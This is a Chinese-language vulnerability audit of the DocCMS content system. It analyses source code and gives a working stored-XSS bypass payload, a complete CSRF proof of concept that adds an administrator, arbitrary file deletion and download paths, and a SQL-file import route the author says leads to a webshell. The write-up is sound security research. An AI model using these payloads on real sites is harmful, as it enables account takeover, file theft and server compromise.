下载链接
https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1
留言处存储型XSS
漏洞在content/guestbook/index.php
function create() { echo 123; global $db,$request; if ($_SESSION[‘verifycode‘] != $request[‘checkcode‘]) { echo ‘<script>alert("请正确填写验证码!");location.href="javascript:history.go(-1)";</script>‘; exit; } foreach ($request as $k=>$v) { $request[$k]=RemoveXSS($v); } require(ABSPATH.‘/admini/models/guestbook.php‘); $guestbook = new guestbook(); $guestbook->addnew($request); $guestbook->[email protected]implode(‘<|@|>‘,$request[‘custom‘]); $guestbook->dtTime=date(‘Y-m-d H:i:s‘); $guestbook->channelId=$request[‘p‘]; $guestbook->ip=$_SERVER[‘REMOTE_ADDR‘]; $guestbook->uid=$_SESSION[TB_PREFIX.‘user_ID‘]; if($guestbook->save()) { if(guestbookISON) { sys_mail(‘ 留言提醒‘,‘最新留言提醒:您的网站:<a href="http://‘.WEBURL.‘">‘.WEBURL.‘</a> 有最新留言,请及时前往审核回复!‘); } echo ‘<script>alert("恭喜,您的留言已提交成功,工作人员会及时回复!");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘; exit; } else { echo ‘<script>alert("对不起,系统错误,您的留言未能及时提交,请电话与我们联系。");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘; exit; } }
跟进RemoveXSS函数
//inc/function.php 505-507行 $ra1 = Array(‘javascript‘, ‘vbscript‘, ‘expression‘, ‘applet‘, ‘meta‘, ‘xml‘, ‘blink‘, ‘link‘, ‘style‘, ‘script‘, ‘embed‘, ‘object‘, ‘iframe‘, ‘frame‘, ‘frameset‘, ‘ilayer‘, ‘layer‘, ‘bgsound‘, ‘title‘, ‘base‘); $ra2 = Array(‘onabort‘, ‘onactivate‘, ‘onafterprint‘, ‘onafterupdate‘, ‘onbeforeactivate‘, ‘onbeforecopy‘, ‘onbeforecut‘, ‘onbeforedeactivate‘, ‘onbeforeeditfocus‘, ‘onbeforepaste‘, ‘onbeforeprint‘, ‘onbeforeunload‘, ‘onbeforeupdate‘, ‘onblur‘, ‘onbounce‘, ‘oncellchange‘, ‘onchange‘, ‘onclick‘, ‘oncontextmenu‘, ‘oncontrolselect‘, ‘oncopy‘, ‘oncut‘, ‘ondataavailable‘, ‘ondatasetchanged‘, ‘ondatasetcomplete‘, ‘ondblclick‘, ‘ondeactivate‘, ‘ondrag‘, ‘ondragend‘, ‘ondragenter‘, ‘ondragleave‘, ‘ondragover‘, ‘ondragstart‘, ‘ondrop‘, ‘onerror‘, ‘onerrorupdate‘, ‘onfilterchange‘, ‘onfinish‘, ‘onfocus‘, ‘onfocusin‘, ‘onfocusout‘, ‘onhelp‘, ‘onkeydown‘, ‘onkeypress‘, ‘onkeyup‘, ‘onlayoutcomplete‘, ‘onload‘, ‘onlosecapture‘, ‘onmousedown‘, ‘onmouseenter‘, ‘onmouseleave‘, ‘onmousemove‘, ‘onmouseout‘, ‘onmouseover‘, ‘onmouseup‘, ‘onmousewheel‘, ‘onmove‘, ‘onmoveend‘, ‘onmovestart‘, ‘onpaste‘, ‘onpropertychange‘, ‘onreadystatechange‘, ‘onreset‘, ‘onresize‘, ‘onresizeend‘, ‘onresizestart‘, ‘onrowenter‘, ‘onrowexit‘, ‘onrowsdelete‘, ‘onrowsinserted‘, ‘onscroll‘, ‘onselect‘, ‘onselectionchange‘, ‘onselectstart‘, ‘onstart‘, ‘onstop‘, ‘onsubmit‘, ‘onunload‘); $ra = array_merge($ra1, $ra2);
$replacement = substr($ra[$i], 0, 2).‘<x>‘.substr($ra[$i], 2);
不是删除也不是转义,这就有趣了,他会在检测到敏感字符后,在中间会加一个<x>,这种我还是第一次见。不过没关系,过滤这么多仍然可以绕过,因为是黑名单过滤,我大javascript岂止这些事件?随便拿出个绕一绕
像往常一样输入XSS代码然后进入后台查看过滤了哪些
后台查看源代码
我们插入的代码是
<script>alert(0)</script>
程序过滤后是: <sc<x>ript>alert(0)</sc<x>ript>
经过fuzz后,还有这些关键字没被过滤掉
此时oncanplay事件是无疑是最好的,因为他无需交互,打开直接执行代码,并支持所有浏览器
xsspayload: <video width="0" height="0" oncanplay="(function(){alert(1)})();"> <source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4"> </video>
任意文件删除
在模板上传的地方
index.php?m=system&s=changeskin&a=delete&skinname=doccms_model_1
在admini\controllers\system\changeskin.php 521-530
function deleteFile(){ global $request; $dirPath = get_abs_skin_root().filter_submitpath( $request[‘dirPath‘] ); if(is_file($dirPath)){ @unlink($dirPath); exit(‘1::delete ok‘); }else{ exit(‘0::Forbidden‘); } }
没有进行任何过滤 导致可删除一个目录下所有文件 任意文件上传(鸡肋)admini/index.php?m=system&s=changeskin&a=upload_templat
1 function upload_template() 2 { 3 global $error; 4 //unzip(ABSPATH.‘/‘.SKINROOT,$_FILES["upfile"][tmp_name],$_FILES["upfile"][name])==1; 5 6 //把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下 7 //suny.2008.10.16 8 $upload = new Upload(10000,‘/temp/‘); 9 $fileName = $upload->SaveFile(‘upfile‘); 10 if(is_file(ABSPATH.‘/temp/‘.$fileName)) 11 { //die(ABSPATH.‘/temp/‘.$fileName); 12 if(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==1) 13 echo ‘<script language="javascript">alert("安装成功!");history.back(1);</script>‘; 14 elseif(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==0) 15 echo ‘<script language="javascript">alert("安装失败!");history.back(1);</script>‘; 16 else 17 echo ‘<script language="javascript">alert("此文件不是ZIP格式!");history.back(1);</script>‘; 18 } 19 else 20 { 21 echo ‘<script language="javascript">alert("文件上传失败!");history.back(1);</script>‘; 22 } 23 redirect(‘?m=system&s=changeskin‘); 24 }
第12行上传后直接就解压了在skins/目录生成压缩包中的文件 不过php没有执行权限
原因是根目录.htaccess有限制 测试自己上传.htaccess 在data目录下导致服务器500错误
也没有找到任意文件删除能删除掉根目录的文件
CSRF
添加管理员的地方没有refer和token验证 所以可以利用csrf
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState(‘‘, ‘‘, ‘/‘)</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/localhost\/admini\/index.php?m=system&s=userinfo&a=create", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8"); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarytcuE3OVEuZLJP8x4"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8"); xhr.withCredentials = true; var body = "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"image\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"uploadfile\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"username\"\r\n" + "\r\n" + "fuckyou\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"pwd\"\r\n" + "\r\n" + "fuckyou\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"repwd\"\r\n" + "\r\n" + "fuckyou\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"nickname\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"role\"\r\n" + "\r\n" + "9\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"auditing\"\r\n" + "\r\n" + "0\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"name\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"sex\"\r\n" + "\r\n" + "1\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"qq\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"msn\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"email\"\r\n" + "\r\n" + "[email protected]\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"mtel\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + "Content-Disposition: form-data; name=\"address\"\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarytcuE3OVEuZLJP8x4--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>
任意文件下载
在数据库还原的地方点击下载
admini/index.php?m=system&s=bakup&a=download&filename=doccms_20170806_520985_1.sql
在admini\controllers\system\bakup.php
function download() { global $request; if(!empty($request[‘filename‘])) { //die(ABSPATH.‘/temp/data/‘.$request[‘filename‘]); file_down(ABSPATH.‘/temp/data/‘.$request[‘filename‘]); } else { echo ‘<script>alert("文件名不能为空!");window.history.go(-1);</script>‘; } }
跟进file_down函数
function file_down($file,$filename=‘‘) { if(is_file($file)) { $filename = $filename ? $filename : basename($file); $filetype = fileext($filename); $filesize = filesize($file); header(‘Cache-control: max-age=31536000‘); header(‘Expires: ‘.gmdate(‘D, d M Y H:i:s‘, time() + 31536000).‘ GMT‘); header(‘Content-Encoding: none‘); //header(‘Content-Length: ‘.$filesize); header(‘Content-Disposition: attachment; filename=‘.$filename); header(‘Content-Type: ‘.$filetype); readfile($file); } else { echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘; } exit; }
没有进行过滤导致任意文件下载
鸡肋任意文件上传+SQL语句执行
数据库文件上传的地方
function uploadsql() { global $request; $uploadfile=basename($_FILES[‘uploadfile‘][‘name‘]); //die($uploadfile); if($_FILES[‘userfile‘][‘size‘]>$request[‘max_file_size‘]) echo ‘<script>alert("您上传的文件超出了2M的限制!");window.history.go(-1);</script>‘; if(fileext($uploadfile)!=‘sql‘) echo ‘<script>alert("只允许上传sql格式文件!");window.history.go(-1);</script>‘; $savepath = ABSPATH.‘/temp/data/‘.$uploadfile; if(move_uploaded_file($_FILES[‘uploadfile‘][‘tmp_name‘], $savepath)) { //die($savepath); echo ‘<script>alert("数据库SQL脚本文件上传成功!");window.history.go(-1);</script>‘; } else { echo ‘<script>alert("数据库SQL脚本文件上传失败!");window.history.go(-1);</script>‘; } }
只是echo 并没有exit
这样还是会上传成功 然而上传.php文件还是无法执行
但是在导入的函数的地方
1 function import() 2 { 3 global $db,$request; 4 $pre=$request[‘pre‘]; 5 if($request[‘dosubmit‘]) 6 { // die("test"); 7 if($request[‘filename‘] && fileext($request[‘filename‘])==‘sql‘) 8 { 9 $filepath = ABSPATH.‘/temp/data/‘.$filename; 10 if(!is_file($filepath)) 11 echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘; 12 $sql = file_get_contents($filepath); 13 die($sql); 14 sql_execute($sql); 15 echo ‘<script>alert("‘.$filename.‘中的数据已经成功导入到数据库!");window.history.go(-1);</script>‘; 16 } 17 else 18 { //die("test"); 19 $fileid = isset($request[‘fileid‘]) ? $request[‘fileid‘] : 1; 20 $filename = $request[‘pre‘].$fileid.‘.sql‘; 21 $filepath = ABSPATH.‘/temp/data/‘.$filename; 22 //die($filepath); 23 if(is_file($filepath)) 24 { 25 $sql = file_get_contents($filepath);//将整个文件读入一个字符串 26 //die($sql); 27 sql_execute($sql); 28 $fileid++; 29 echo ‘<script>alert("数据文件‘.$filename.‘导入成功!");window.location.href="?m=system&s=bakup&a=import&pre=‘.$pre.‘&fileid=‘.$fileid.‘&dosubmit=1";</script>‘; 30 31 } 32 else 33 { 34 echo ‘<script>alert("数据库恢复成功!");window.location.href="?m=system&s=bakup&a=import";</script>‘; 35 } 36 } 37 } 38 }
17-27行的意思就是 读取.sql文件中的语句 然后逐行执行
这样我们可以上传.sql文件 里面写着写一句话的语句 如果有root权限的话可以拿shell
如果不是root权限 可以利用sql时间盲注操作(如果有搞数据库数据的必要 或者 可以拿来留xss后门)